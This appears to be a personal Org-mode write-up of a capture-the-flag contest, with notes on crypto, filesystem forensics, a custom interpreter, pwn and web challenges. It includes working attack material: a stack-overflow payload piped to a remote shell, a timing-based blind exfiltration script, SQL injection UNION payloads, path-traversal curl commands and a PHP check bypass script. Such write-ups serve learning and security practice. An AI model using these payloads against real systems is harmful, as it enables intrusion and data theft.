#+OPTIONS: todo:t

* TODO Crypto [1/3]

** TODO Danced

- I'd have to learn Go to debug this server, so I skipped it
- It seems to be using various DJB stream ciphers (hence the name)

** DONE Decrypted

- http://35.207.189.79/pyserver/server.py shows an API endpoint
 exposing an encryption challenge using RSA
- http://35.207.189.79/wee/encryptiontest
- The given parameters are the ciphertext, modulus and exponent (3)
- The ciphertext is way smaller than the modulus, so exponentiation of
 it doesn't overflow the modulus
- This means that you can just take the integer cube root of the
 ciphertext to get the plaintext
- Convert it to a string buffer to get the flag

** TODO pretty_linear

- This is a server doing a homebrew challenge-response format
- The key is a secret array of 40 integers
- The challenge is an array of 40 integers (which show up separated by
 spaces in the =.pcap= file)
- Then the server multiplies each challenge integer with the
 corresponding key integer mod P and adds them up
- It then compares it against the response (which ends up in the
 =.pcap= file as well)
- If the comparison is fine, it prints out the flag encrypted with a
 key derived from the key bytes
- This involves some mathematics, so I didn't bother solving it
- It turned out that Sagemath contains ready-made code for this task

* TODO For [2/3]

** DONE rare_mount

- We get some unknown kind of file system image (=file= cannot
 identify it)
- Using =binwalk= without arguments reveals it's JFFS2
- It's an odd one used mostly in routers, with the oddity that it
 comes in little and big endian (which the challenge description
 hints at)
- I fiddled around with =mtd-utils= to convert the image from big to
 little endian, then =file= managed recognizing it
- I used some other =mtd-utils= tool to mount the file system, it
 contains a Rickroll video which stops playing in the middle
- Using =r2= showed that the file contains a bunch of "holes" (a
 region of NUL bytes) in the middle of the blocks belonging to the
 video
- I then learned that =binwalk -e= supports automatic extraction of
 this file system if you install =jefferson=
- It managed extracting a text file containing the flag, additionally
 to the video

** DONE epic_mount

- Same kind of file system image as in the previous challenge
- I directly used =binwalk -e=, this time it only extracted the
 Rickroll video (which played back fully this time)
- I noticed that both the previous and the current file system image
 had the same size, so I used `radiff2` to compare them
- This showed two things, first of all the hole of zeroes was patched
 with a video segment, but more interestingly, there were lots of
 small patches for single bytes
- Each byte was in the printable ASCII range
- If you put them together, you get the flag
- =radiff2 -x= shows a colored hex column which makes this a tad
 easier

** TODO legendary_mount

- Same kind of file system image as in the previous challenge
- Nothing interesting gained from using =binwalk -e=
- This time I couldn't even mount the image
- Diffing it with the previous one showed lots of noise, with the last
 block containing a fake flag
- This turned out to be compressed data, with some fixes it can be
 decompressed to the actual flag

* TODO Misc [7/8]

** DONE Conversion Error

- This one is about the bespoke extensions done to the Wee interpreter
 written in JS in http://35.207.189.79/weelang/weeterpreter.ts
- You have to submit code to be evaluated to
 http://35.207.189.79/wee/run
- If the assertion fails, you get the flag
- Here you have to submit a numeric looking string that when converted
 to a number has a different length than the original thing
- =alert(assert_conversion('1.99999999999999999999999999999999999'))=

** DONE Equality Error

- See above
- You need a number that's not equal to itself
- Divide 0 by 0 to obtain =NaN=
- =alert(assert_equals(0/0))=

** DONE Number Error

- See above
- You need a number that's neither infinite nor NaN, but behaves like
 them: If incremented by one, it's still the same as before
- Pass a sufficiently big number that overflows into a float
- =alert(assert_number(9007199254740992))=

** DONE Wee R Leet

- See above
- Pass a number equal to =0x1337=
- =alert(assert_leet(4919))=

** DONE Wee Token

- See above
- Exploit type confusion, that is something the language considers a
 string, but which is a different JS type
- The =eval= function incorrectly declares its result a string
- =alert(assert_string(eval('0')))=

** DONE Layers

- The =eval= function in http://35.207.189.79/weelang/weeterpreter.ts
 actually evaluates JS code in a special browser context
- This browser context evaluates =`store('${flags.LAYERS}')`=
 initially
- This variable is most likely stored in the =window= object, if you
 eval =typeof window=, you'll see that it's defined
- Eval =alert(eval('var offset = 0; var x = []; for (var i in window)
 { x.push(i); }; x.slice(offset)'))= to get an array of keys in the
 =window= object, fiddle with =offset= to see the remaining ones
- This confirms that =window.store= is indeed a thing, =typeof
 window.store= shows that it's a function
- You can obtain its source code with =window.store.toString=
- It's minimally obfuscated by hex-encoding the string contents,
 renaming variables and using strings and arrays to access basic
 built-ins
- The code ends up doing =document.getElementById("fun").innerText =
 x=
- Therefore the flag can be obtained by evaluating
 =document.getElementById("fun").innerText=
- It contains the base64-encoded flag

#+BEGIN_SRC js
function store(x) {
       var d = document
       var _0x68de=[\"\\x62\\x74\\x6F\\x61\"]
       var x=window[_0x68de[0]](x)
       var _0x2d8a = [
           \"\\x69\\x6E\\x6E\\x65\\x72\\x54\\x65\\x78\\x74\",
           \"\\x66\\x75\\x6E\",
           \"\\x67\\x65\\x74\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x42\\x79\\x49\\x64\"
       ]
       d[_0x2d8a[2]](_0x2d8a[1])[_0x2d8a[0]] = x
}
#+END_SRC

** DONE /dev/null

- This is an API endpoint much like =/wee/run=, but it first sets a
 variable to the flag, evaluates user-provided code in that context,
 then throws the result away and returns ="GONE"=
- Evaluation times out after 5s
- Wee has a built-in =pause= function which can be used to
 conditionally wait
- Using this fact one can construct yes/no queries about the flag,
 much like with a timing-based blind SQL injection
- First of all the length is determined, then each character code is guessed
- A binary search speeds this up considerably

#+BEGIN_SRC ruby
require 'net/http'
require 'benchmark'
require 'socket'

TEMPLATE = '{"code": "if (length(DEV_NULL) >= NNN) then\npause(2000)\nend"}'
TEMPLATE2 = '{"code": "if (ord(charAt(DEV_NULL, NNN)) >= YYY) then\npause(2000)\nend"}'

def http_request(template, vars)
 uri = URI('http://35.207.189.79/wee/dev/null')
 req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
 body = template
 vars.each { |k, v| body = body.sub(k, v) }
 req.body = body
 http = Net::HTTP.new(uri.host, uri.port)
 Benchmark.realtime { http.request(req) }
end

def guess_flag_length
 (1..100).bsearch { |n| http_request(TEMPLATE, 'NNN' => n.to_s) < 2 } - 1
end

def guess_flag_char(i)
 (1..127).bsearch { |n| p n; http_request(TEMPLATE2, 'NNN' => i.to_s, 'YYY' => n.to_s) < 2 } - 1
end

len = guess_flag_length
flag = (0..flag_len).map { |i| guess_flag_char(i).chr }.join
puts flag
#+END_SRC

** TODO ultra secret

- This is a Rust server which accepts a password of 32 characters and
 checks each letter whether it matches up with a secret hash, after
 failing the check it exits early
- I've rewritten the code for =/dev/null= to do a TCP connection
 attempt, but couldn't measure anything reliably
- I've tried figuring out whether the service did anything stupid, but
 gave up since I don't know Rust

* TODO Of course [0/2]

** TODO Entrance

- Smart contracts
- I'm vaguely aware they can be exploited and that https://dasp.co/ is
 a thing, but it's too much effort to learn this just for this
 occasion
- The title suggests this is item #1 on the list linked above, a
 re-entrancy attack

** TODO Future

- See above

* TODO Pwn [1/7]

- I've never learned how to do these, but figured it's a chance to
 learn a bit of gdb and teach a team member who started reading "The
 Art of Exploitation"

** DONE 1996

- http://x32.be/bof.txt
- http://phrack.org/issues/49/14.html
- https://people.freebsd.org/~lstewart/articles/cpumemory.pdf
- The tarball contains a vulnerable application and its C++ sources
- It reads in user input to get the name of an environment variable,
 then prints its value
- There's also an unused =spawn_shell= function
- The task is to smash the stack to hijack the return address to the
 =spawn_shell= function
- By checking the disassembly in =gdb= or using =objdump -t= you can
 find its address, 0x0000000000400897
- Break on the main function, then step until the point where user
 input is read in and enter a bunch of A's
- Inspect the stack with =x/20x $rsp-20=, then frame info with =info
 frame=
- This shows how far =$rip= is away from the address where the A's are
 stored, in our case 1048 bytes
- The payload is therefore 1048 A's, followed by the address of
 =spawn_shell= in little-endian
- =perl -e 'print "A"x1048 . "\x97\x08\x40\x00\x00\x00\x00\x00"' >
 input.txt=
- A shell can be spawned successfully in =gdb= with =run < input.txt=
- Outside of =gdb= however no shell ever starts
- Using =strace= reveals that it does start, but quits before even
 printing a prompt
- This is due to the behavior of file redirection (and pipes) here,
 =1996= reads from the file until EOF, then the spawned =bash= tries
 to read more, but fails and quits
- =(cat input.txt; cat) | ./1996= behaves as expected, the first =cat=
 provides the payload (and quits), the second one stays open and
 keeps the spawned =bash= from quitting
- =(cat input.txt; cat) | nc 35.207.132.47 22227= spawns a shell,
 executing =ls= shows a =flag.txt= in the current directory

#+BEGIN_SRC c++
// compile with -no-pie -fno-stack-protector

#include <iostream>
#include <unistd.h>
#include <stdlib.h>

using namespace std;

void spawn_shell() {
   char* args[] = {(char*)"/bin/bash", NULL};
   execve("/bin/bash", args, NULL);
}

int main() {
   char buf[1024];

   cout << "Which environment variable do you want to read? ";
   cin >> buf;

   cout << buf << "=" << getenv(buf) << endl;
}
#+END_SRC

** TODO arraymaster1

- Skipped

** TODO arraymaster2

- Skipped

** TODO poet

- This program comes without source, but with a corresponding libc for
 some reason
- It asks for a poem and name, then scores it by tokenizing it and
 checking for specific words
- You need to reach a specific number of points to get a prize
 (presumably the flag)
- Trial and error shows that you can't get nearly enough points by
 repeating words and run into a segfault first
- =rabin2 -I= shows that the stack isn't executable, so you presumably
 need to overflow a value on the stack the program checks to match
 the accepted number of points
- Messing around with the poem wasn't terribly successful
- We should have tested the poet name, too...

** TODO stringmaster1

- Skipped

** TODO stringmaster2

- Skipped

** TODO sum

- Skipped

* TODO Web [7/10]

** TODO blind

- PHP syntax highlighting script that shows its own source
- You can make it show =phpinfo()= output
- You can change the syntax highlighting colors and store them in a cookie
- The cookie is deserialized
- The code itself dynamically creates classes depending on the
 settings and defines an =__autoload= function which uses =include=
 on the class
- This means that if you try to create an arbitrary class by editing
 the cookie and it tries including the file
- So, if you try to create the class =flag=, it tries including a file
 by that name in the search path, but fails since the flag isn't
 inside it
- An alternative way would be generating an already existing built-in
 class that somehow reads in and exposes the flag
- No luck with that though since we didn't find a class accepting
 exactly four arguments
- This turned out to be something from the updated OWASP top 10, XXE
 (by using a XML class taking four arguments and including an entity
 making a request exfiltrating the flag to an attacker-controlled
 server)

** DONE collider

- Web application expecting two PDFs that contain specific text
- If both have the same MD5 hash, it prints out the flag
- I've generated minimal PDF files with the desired text and verified
 that they were accepted, but then rejected due to the hash
- Using
 https://github.com/corkami/pocs/blob/master/collisions/scripts/pdf.py
 and the auxiliary PDF files inside the =scripts= directory I got new
 files passing the hash collision check

** DONE Logged In

- There are API calls in http://35.207.189.79/pyserver/server.py for
 signing up, logging in and verifying your account
- Craft successful requests for each
- The flag is included in the headers of the last POST request

** DONE DB Secret

- The Wee server creates a =secrets= table and inserts the flag at
 initialization
- There is a SQL injection possible in the admin API endpoint for
 retrieving all project contents
- It requires a valid user token first, obtain it like with =Logged
 in=
- Craft a successful request with the name set to admin (it's not
 verified to match the token information), then you get projects with
 SQL injection attempts in their code
- The injection happens when interpolating user input into the query
 for the offset
- Initial test with =' ORDER BY 9001--= to make sure a different query
 than the stock one was executed
- ='UNION SELECT id, secret FROM secrets--= errors out as the column
 counts don't match up
- =' UNION SELECT id, id, id, id, id, id, id, secret FROM secrets--=
 works!

** DONE flags

- This PHP script includes a file based on the browser-provided
 =Accept-Language= header and includes a base64-encoded data URL
- There is basic sanitization happening to prevent Local File
 Inclusion attacks, but replacing =../= once isn't enough
- This means that something like =..././= is changed to =../=
- =curl -H 'Accept-Language:
 ..././..././..././..././..././..././..././..././..././..././flag'
 http://35.207.169.47/= to get the base64-encoded flag

** TODO localhost

- The Wee server includes special headers for everything except image
 files of the GIF, JPG and PNG types
- If the host in the request is localhost, it adds a header containing
 the flag
- I've tried faking the host by adding =X-Forwarded-For= to the header
 without any luck
- There is a special API endpoint that proxies image requests and adds
 their headers to the response, no luck with it either
- This turned out to be SSRF, if you instruct that endpoint to run a
 query against =localhost=, you could do this for your own images,
 such as the =kitten.png= API endpoint
- It won't give you the flag (as it's a PNG), but a request against
 a different local resource would

** DONE McDonald

- Cryptic hint about the admin throwing apple cores away
- http://35.207.91.38/robots.txt contains =Disallow:
 /backup/.DS_Store=
- This file exists and can be analyzed with
 https://github.com/gehaxelt/Python-dsstore
- It shows three file entries, =a=, =b= and =c=
- If you request =/a/.DS_Store=, =/b/.DS_Store= and =/c/.DS_Store=,
 you'll find that the latter two exist
- Repeat this recursively until you discover the existence of
 =/b/a/c/flag.txt=

** TODO NOT IMPLEMENTED

- This flag is only referenced in a non-accessible Python file
- The hint suggests that =Layers= is the challenge from where you can
 launch this one
- Rumor has it that one can create new DOM elements by using Wee's
 =eval=, a =<script>= one can refer to the Python file, end up
 including it and define new variables in the browser context...

** DONE Not(e) accessible

- PHP script for note taking
- The sources reference a tarball in a HTML comment
- It gives you a PHP frontend and Ruby backend (yay for microservices)
- The Ruby backend gives you the flag if you access =/admin=
- The PHP frontend does a few backend requests, the most interesting
 one checks the ID by converting it to an integer and verifying the
 path to its password exists, but then accesses the ID endpoint as is
- It turns out that "123foo" is parsed as 123, this even works with
 "123/../admin"
- A bit of experimentation gives this working URL:
 http://35.207.120.163/view.php?id=-7755642707975060418/../../admin&pw=25ed1bcb423b0b7200f485fc5ff71c8e

** DONE saltfish

- PHP script doing stupid checks of a GET parameter and user agent
- I simulated it locally by using =php -S=
- I've eventually found that the first check can be bypassed
 completely by passing the GET parameter as array containing a string
 of zeroes, this is because in a numeric context arrays are always
 NULL and so is a string of zeroes
- If you MD5 that string, it may become a hash starting with a zero,
 so I wrote a script that tries increasingly long strings of zeroes
 until the second check passes

#+BEGIN_SRC php
<?php
if ($_ = @$_GET['pass']) {
   $flag = "...";
   $ua = $_SERVER['HTTP_USER_AGENT'];
   if (md5($_) + $_[0] == md5($ua)) {
       echo "Passed first check\n";
       if ($_[0] == md5($_[0] . $flag)[0]) {
           echo "Passed second check\n";
           echo $flag;
       }
   }
}
#+END_SRC

#+BEGIN_SRC python
import requests

ADDRESS = "http://35.207.89.211/"
UA = "xxx"

session = requests.Session()
session.headers.update({'User-Agent': UA})

def guess(digits):
   pw = '0' * digits
   body = session.get(ADDRESS + '?pass[]=' + pw).text
   return '35c3' in body

for i in range(1024):
   if guess(i):
       print(i)
       break
#+END_SRC